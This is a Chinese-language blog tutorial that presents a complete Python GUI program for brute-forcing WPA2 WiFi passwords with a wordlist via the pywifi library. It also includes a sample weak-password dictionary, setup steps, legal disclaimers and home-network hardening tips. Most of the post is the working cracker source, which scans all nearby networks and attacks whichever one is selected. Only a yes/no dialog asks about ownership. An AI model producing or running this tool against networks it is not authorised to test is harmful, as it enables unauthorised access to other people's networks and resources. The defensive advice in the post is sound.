当前位置:首页>python>Python自制WiFi密码破解工具!带GUI可视化界面,字典暴力破解

Python自制WiFi密码破解工具!带GUI可视化界面,字典暴力破解

  • 2026-08-19 17:17:59
Python自制WiFi密码破解工具!带GUI可视化界面,字典暴力破解

郑重法律声明(全文前置必读)

一、法律红线与使用准则

  1. 未经WiFi所有者明确书面许可,使用本程序扫描、尝试破解他人无线网络密码属于违法行为依据《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》《中华人民共和国刑法》相关条例:
  • 私自入侵、窃取他人无线网络、盗取网络资源,会被处以罚款、行政拘留;
  • 情节严重(批量破解、牟利、窃取用户隐私数据)将涉嫌非法侵入计算机信息系统罪,承担有期徒刑等刑事责任;
  • 蹭网、破解邻居/公共私有WiFi,均属于侵权行为,需赔偿对方网络资费、数据损失。
  1. 本文内容、代码仅用于网络安全爱好者个人学习、实验室自有WiFi授权安全检测、网络攻防原理科普,禁止一切非授权商用、破解他人网络行为。
  2. 因违规滥用代码产生的一切法律后果、民事赔偿均由使用者自行承担,本文作者不承担任何连带责任。

二、科普前言:WiFi字典爆破原理浅析

日常家用WiFi主流加密方式为WPA2-PSK,这类加密本身安全性尚可,但如果用户设置了简单数字、生日、手机号、通用弱口令(12345678、88888888等),黑客会采用字典爆破(穷举) 方式:

  1. 无线网卡扫描周边所有WiFi热点名称、信号强度、加密类型;
  2. 读取预先编写好的密码字典文本文档;
  3. 程序自动逐条调取字典内密码,反复向路由器发起连接验证请求;
  4. 匹配正确密码后即可接入无线网络。

本GUI程序基于Python+pywifi库实现可视化操作,封装了热点扫描、密码字典加载、多线程爆破、运行日志记录、进度展示等功能,方便初学者直观理解无线安全攻防逻辑,核心目的是让大家知晓弱口令风险,从而设置高强度WiFi密码保护自家网络

三、程序整体功能介绍

(一)核心功能模块

  1. 网卡自动识别:自动读取电脑无线网卡设备,无网卡直接报错提示;
  2. 一键WiFi扫描:后台线程扫描周边热点,自动去重,展示SSID、MAC地址、信号强度、加密协议;
  3. 自定义密码字典:可自由选取本地txt密码本文件;
  4. 可视化字典爆破:选中目标WiFi后一键启动破解,中途可随时终止任务;
  5. 实时运行日志:区分信息、成功、警告、错误四种颜色日志,记录时间戳;
  6. 进度指示器+运行状态:扫描、破解、空闲状态实时切换;
  7. 窗口安全关闭:运行中退出会弹出确认弹窗,避免强制中断导致网卡异常。

(二)界面布局分区

  1. 顶部工具栏:刷新扫描、选择密码本、开始破解、停止任务按钮;
  2. 中部WiFi列表区:表格罗列所有搜到的无线网络信息;
  3. 状态栏:运行文字状态+加载进度条;
  4. 底部日志窗口:全程记录程序运行详情。

四、部署安装教程(Windows系统)

1. 环境要求

  • 系统:Windows7及以上(自带无线网卡,台式机需外接USB无线网卡);
  • 运行环境:Python3.7~Python3.10版本(pywifi库高版本Python兼容性较差)。

2. 依赖库安装

打开CMD命令提示符,输入安装指令:

pip install pywifi

3. 密码字典准备

新建pass_dictionary.txt文本文档,一行填写一个候选密码,示例内容:

12345678
88888888
123123123
66666666
abcd1234

温馨提示:字典越丰富,破解概率越高,但破解耗时会成倍增加;自家WiFi设置大小写字母+数字+符号组合密码,可彻底抵御字典爆破攻击。

4. 运行方式

将代码保存为wifi_crack_gui.py,CMD进入文件所在文件夹,执行:

python wifi_crack_gui.py

随后弹出图形操作窗口即可使用。

五、程序操作使用步骤(仅限自有WiFi授权测试)

  1. 启动程序,软件自动识别无线网卡并初次扫描周边WiFi;
  2. 点击【刷新网络】重新扫描热点,在表格内点击选中需要测试的自家WiFi;
  3. 点击【选择密码本】,导入准备好的txt密码字典;
  4. 点击【开始破解】,弹窗确认后程序自动逐条校验密码;
  5. 日志窗口实时刷新尝试进度,匹配到正确密码会弹窗展示结果;
  6. 可随时点击【停止】终止爆破任务;
  7. 关闭窗口时,若任务正在运行会弹出确认框。

六、安全防护建议(重中之重)

看完破解原理后,学会规避风险才是核心:

  1. WiFi密码杜绝纯数字、生日、手机号、连续数字,推荐8位以上「大写字母+小写字母+数字+特殊符号」组合;
  2. 路由器后台关闭WPS一键连接功能,该功能存在严重安全漏洞;
  3. 隐藏WiFi SSID广播、绑定设备MAC地址接入白名单;
  4. 定期登录路由器后台查看已接入设备,发现陌生设备立刻修改密码;
  5. 不随意连接街边无加密公共WiFi,避免个人信息被窃取。

七、程序局限说明

  1. 仅支持Windows系统,Linux、macOS适配性差;
  2. 无法破解WPA3加密WiFi(新一代加密协议字典爆破基本无效);
  3. 密码复杂度极高时,字典爆破几乎无法成功;
  4. 部分USB无线网卡驱动兼容性不佳,会出现扫描失败问题;
  5. 破解速度受网卡性能、字典大小、路由器响应速度影响。

八、合规重申

再次强调:所有测试仅限个人名下自有无线网络,盗取他人网络资源属于违法行为,网络空间并非法外之地,切勿抱有侥幸心理。学习攻防技术的初衷是守护网络安全,而非肆意入侵破坏。


完整Python源代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WiFi Password Cracker - GUI图形界面版本
参考自: https://github.com/takudzwa21/WiFi-password-cracker
仅用于自有WiFi授权安全学习测试,禁止非法破解他人无线网络
违规使用产生一切法律责任由使用者自行承担
"""


import os
import sys
import time
import threading
from datetime import datetime
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog

try:
import pywifi
from pywifi import const
except ImportError:
    print("依赖缺失,请打开CMD执行安装命令:pip install pywifi")
    sys.exit(1)


classWiFiCrackerGUI:
def__init__(self, root):
        self.root = root
        self.root.title("WiFi安全检测工具-GUI学习版 | 仅限自有网络授权测试")
        self.root.geometry("800x600")
        self.root.resizable(TrueTrue)

# 初始化无线网卡对象
        self.wifi = pywifi.PyWiFi()
        self.iface = self.wifi.interfaces()[0if self.wifi.interfaces() elseNone
        self.scan_results = []
        self.is_running = False
        self.target_ssid = None

# 绘制界面组件
        self.create_widgets()

# 初始化启动日志
        self.log("=" * 60)
        self.log("WiFi安全检测工具启动完成")
        self.log(f"系统无线网卡: {self.iface.name() if self.iface else'未检测到可用无线网卡'}")
        self.log("温馨提醒:仅可测试本人所有的WiFi,非法破解他人网络涉嫌违法")
        self.log("=" * 60)

# 网卡正常则自动初次扫描
if self.iface:
            self.scan_networks()

defcreate_widgets(self):
"""构建全部GUI界面控件"""
# 主容器框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.pack(fill=tk.BOTH, expand=True)

# 顶部功能工具栏
        toolbar = ttk.Frame(main_frame)
        toolbar.pack(fill=tk.X, pady=(010))

        ttk.Button(toolbar, text="🔄 刷新扫描WiFi", command=self.scan_networks).pack(side=tk.LEFT, padx=5)
        ttk.Button(toolbar, text="📁 加载密码字典", command=self.select_wordlist).pack(side=tk.LEFT, padx=5)
        ttk.Button(toolbar, text="🚀 开始安全测试", command=self.start_cracking).pack(side=tk.LEFT, padx=5)
        ttk.Button(toolbar, text="⏹ 终止任务", command=self.stop_cracking).pack(side=tk.LEFT, padx=5)

# 密码字典路径展示标签
        self.wordlist_label = ttk.Label(toolbar, text="密码字典默认: pass_dictionary.txt")
        self.wordlist_label.pack(side=tk.LEFT, padx=20)
        self.wordlist_path = "pass_dictionary.txt"

# WiFi热点列表区域
        list_frame = ttk.LabelFrame(main_frame, text="📡 周边WiFi热点列表", padding="5")
        list_frame.pack(fill=tk.BOTH, expand=True, pady=(010))

# 表格表头定义
        columns = ("序号""WiFi名称(SSID)""MAC地址(BSSID)""信号强度(dBm)""加密方式")
        self.tree = ttk.Treeview(list_frame, columns=columns, show="headings", height=8)

# 表头设置
        self.tree.heading("序号", text="序号")
        self.tree.heading("WiFi名称(SSID)", text="WiFi名称(SSID)")
        self.tree.heading("MAC地址(BSSID)", text="MAC地址(BSSID)")
        self.tree.heading("信号强度(dBm)", text="信号强度(dBm)")
        self.tree.heading("加密方式", text="加密方式")

# 列宽与对齐设置
        self.tree.column("序号", width=50, anchor="center")
        self.tree.column("WiFi名称(SSID)", width=200)
        self.tree.column("MAC地址(BSSID)", width=150)
        self.tree.column("信号强度(dBm)", width=80, anchor="center")
        self.tree.column("加密方式", width=150)

# 垂直滚动条
        scrollbar = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=self.tree.yview)
        self.tree.configure(yscrollcommand=scrollbar.set)

        self.tree.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)
        scrollbar.pack(side=tk.RIGHT, fill=tk.Y)

# 绑定表格选中事件
        self.tree.bind('<<TreeviewSelect>>', self.on_network_select)

# 状态栏与进度条区域
        info_frame = ttk.Frame(main_frame)
        info_frame.pack(fill=tk.X, pady=(05))

        self.status_label = ttk.Label(info_frame, text="运行状态: 空闲就绪", font=("Arial"10))
        self.status_label.pack(side=tk.LEFT)

        self.progress_bar = ttk.Progressbar(info_frame, mode='indeterminate', length=150)
        self.progress_bar.pack(side=tk.RIGHT, padx=10)

# 运行日志输出区域
        log_frame = ttk.LabelFrame(main_frame, text="📋 程序运行日志", padding="5")
        log_frame.pack(fill=tk.BOTH, expand=True)

        self.log_text = scrolledtext.ScrolledText(
            log_frame,
            height=8,
            font=("Consolas"9),
            wrap=tk.WORD
        )
        self.log_text.pack(fill=tk.BOTH, expand=True)

# 日志文字颜色分类配置
        self.log_text.tag_config("INFO", foreground="
#0055cc")
        self.log_text.tag_config("SUCCESS", foreground="#009933")
        self.log_text.tag_config("ERROR", foreground="#dd2222")
        self.log_text.tag_config("WARNING", foreground="#ee7700")

deflog(self, message, level="INFO"):
"""写入带时间戳的日志信息"""
        timestamp = datetime.now().strftime("%H:%M:%S")
        log_entry = f"[{timestamp}] [{level}{message}\n"

        self.log_text.insert(tk.END, log_entry, level)
        self.log_text.see(tk.END)
        self.root.update_idletasks()

defscan_networks(self):
"""后台线程扫描周边所有WiFi热点"""
ifnot self.iface:
            messagebox.showerror("硬件错误""未检测到电脑无线网卡,无法执行扫描操作")
return

if self.is_running:
            messagebox.showwarning("操作提示""当前正在执行密码测试任务,请结束后再扫描")
return

        self.log("开始扫描周边WiFi网络,请稍候...""INFO")
        self.status_label.config(text="运行状态: 扫描热点中")
        self.progress_bar.start()
        self.root.update()

# 扫描子线程,避免UI卡顿
defscan_thread():
try:
                self.iface.scan()
                time.sleep(3)
                results = self.iface.scan_results()

# 热点去重处理
                seen_ssid = set()
                self.scan_results = []
for net in results:
                    ssid = net.ssid.strip()
ifnot ssid or ssid in seen_ssid:
continue
                    seen_ssid.add(ssid)
                    self.scan_results.append({
'ssid': ssid,
'bssid': net.bssid,
'signal': net.signal,
'auth': str(net.akm[0]).split('.')[-1if net.akm else"未知加密",
'cipher': str(net.cipher).split('.')[-1if net.cipher else"未知"
                    })

# 主线程刷新界面列表
                self.root.after(0, self.update_network_list)
                self.root.after(0lambda: self.log(f"扫描完成,共检索到 {len(self.scan_results)} 个WiFi热点""SUCCESS"))
                self.root.after(0lambda: self.status_label.config(text="运行状态: 空闲就绪"))
                self.root.after(0, self.progress_bar.stop)

except Exception as e:
                self.root.after(0lambda: self.log(f"WiFi扫描异常: {str(e)}""ERROR"))
                self.root.after(0, self.progress_bar.stop)

        threading.Thread(target=scan_thread, daemon=True).start()

defupdate_network_list(self):
"""刷新表格内WiFi数据"""
# 清空原有内容
for item in self.tree.get_children():
            self.tree.delete(item)

# 遍历写入新扫描结果
for idx, net in enumerate(self.scan_results, 1):
            self.tree.insert("", tk.END, values=(
                idx,
                net['ssid'][:30],
                net['bssid'],
                net['signal'],
                net['auth']
            ))

defon_network_select(self, event):
"""选中表格WiFi热点触发事件"""
        selection = self.tree.selection()
if selection:
            item = selection[0]
            values = self.tree.item(item, 'values')
if values:
                idx = int(values[0]) - 1
if0 <= idx < len(self.scan_results):
                    self.target_ssid = self.scan_results[idx]['ssid']
                    self.log(f"已选定测试目标WiFi:{self.target_ssid}""INFO")
                    self.status_label.config(text=f"运行状态: 已选定 {self.target_ssid}")

defselect_wordlist(self):
"""弹窗选择自定义密码字典txt文件"""
        filepath = filedialog.askopenfilename(
            title="选取密码字典文本文件",
            filetypes=[("文本文件(*.txt)""*.txt"), ("全部文件""*.*")]
        )
if filepath:
            self.wordlist_path = filepath
            self.wordlist_label.config(text=f"密码字典: {os.path.basename(filepath)}")
            self.log(f"已加载密码字典路径:{filepath}""INFO")

defstart_cracking(self):
"""启动WiFi密码字典测试"""
ifnot self.iface:
            messagebox.showerror("硬件错误""无可用无线网卡,无法进行测试")
return

ifnot self.target_ssid:
            messagebox.showwarning("操作提醒""请先在热点列表中选中需要测试的自有WiFi")
return

if self.is_running:
            messagebox.showwarning("操作提醒""已有密码测试任务正在运行中")
return

# 校验密码字典文件是否存在
ifnot os.path.exists(self.wordlist_path):
            messagebox.showerror("文件错误"f"密码字典文件不存在:{self.wordlist_path}")
return

# 合规二次确认弹窗
        confirm_msg = f"确认仅对本人拥有的WiFi「{self.target_ssid}」进行安全弱口令检测?\n非法破解他人WiFi将触犯法律!"
ifnot messagebox.askyesno("合规确认", confirm_msg):
return

        self.is_running = True
        self.log(f"正式启动 {self.target_ssid} 弱口令安全检测""INFO")
        self.log(f"调用密码字典:{self.wordlist_path}""INFO")
        self.status_label.config(text=f"运行状态: 正在检测 {self.target_ssid}")
        self.progress_bar.start()

# 测试后台线程
defcrack_thread():
try:
# 断开网卡原有WiFi连接
                self.iface.disconnect()
                time.sleep(1)

                try_count = 0
                password_found = False

with open(self.wordlist_path, 'r', encoding='utf-8', errors='ignore'as f:
for line in f:
ifnot self.is_running:
break

                        pwd = line.strip()
ifnot pwd:
continue

                        try_count += 1
# 每尝试50个密码打印一次进度日志
if try_count % 50 == 0:
                            self.root.after(0lambda t=try_count: self.log(f"已累计尝试 {t} 组密码""INFO"))

# 验证密码有效性
if self.test_connection(self.target_ssid, pwd):
                            password_found = True
                            self.root.after(0lambda p=pwd: self.log(f"✅ 检测完成,弱口令匹配成功!WiFi密码:{p}""SUCCESS"))
                            self.root.after(0lambda p=pwd: messagebox.showinfo("安全检测结果",
f"WiFi弱口令检测成功\nWiFi名称:{self.target_ssid}\n密码:{p}\n建议尽快修改高强度密码提升安全性"))
break

# 字典遍历完毕未找到密码
ifnot password_found and self.is_running:
                    self.root.after(0lambda: self.log(f"字典遍历结束,累计尝试{try_count}组密码,未匹配到有效密码,WiFi密码安全性较高""WARNING"))

except Exception as err:
                self.root.after(0lambda: self.log(f"密码检测过程出错:{str(err)}""ERROR"))
finally:
                self.root.after(0, self.crack_finished)

        threading.Thread(target=crack_thread, daemon=True).start()

deftest_connection(self, ssid, password):
"""传入WiFi名称与密码,测试能否正常连接"""
try:
# 构建WiFi连接配置文件
            profile = pywifi.Profile()
            profile.ssid = ssid
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = password

# 清空原有配置,添加临时配置并连接
            self.iface.remove_all_network_profiles()
            temp_profile = self.iface.add_network_profile(profile)
            self.iface.connect(temp_profile)
            time.sleep(1.5)

# 判断连接状态
return self.iface.status() == const.IFACE_CONNECTED
except:
returnFalse

defcrack_finished(self):
"""任务结束资源重置"""
        self.is_running = False
        self.progress_bar.stop()
        self.status_label.config(text="运行状态: 空闲就绪")
        self.iface.disconnect()

defstop_cracking(self):
"""手动终止正在进行的密码测试任务"""
if self.is_running:
            self.is_running = False
            self.log("用户手动终止弱口令检测任务""WARNING")
            self.status_label.config(text="运行状态: 任务已终止")
            self.progress_bar.stop()
            self.iface.disconnect()
else:
            messagebox.showinfo("提示""当前没有正在运行的检测任务")

defon_closing(self):
"""窗口关闭事件处理"""
if self.is_running:
            close_confirm = messagebox.askyesno("退出确认""密码检测任务正在运行,确定关闭程序退出吗?")
if close_confirm:
                self.is_running = False
                self.root.destroy()
else:
            self.root.destroy()


defmain():
    window = tk.Tk()
    app = WiFiCrackerGUI(window)
    window.protocol("WM_DELETE_WINDOW", app.on_closing)
    window.mainloop()


if __name__ == "__main__":
    main()

文末结语

无线网络安全是居家网络防护的基础,这段代码最大的意义不是教会大家破解WiFi,而是直观展现弱口令的安全漏洞。设置复杂密码、定期维护路由器,才能杜绝网络被蹭、隐私泄露的隐患。网络安全需要每个人共同遵守法律法规,共建清朗网络环境。

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-08-21 15:50:43 HTTP/2.0 GET : https://f.mffb.com.cn/a/509803.html
  2. 运行时间 : 0.186147s [ 吞吐率:5.37req/s ] 内存消耗:4,656.16kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=4701e1ad8e6dcbc6eecf2f65c255cc7a
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
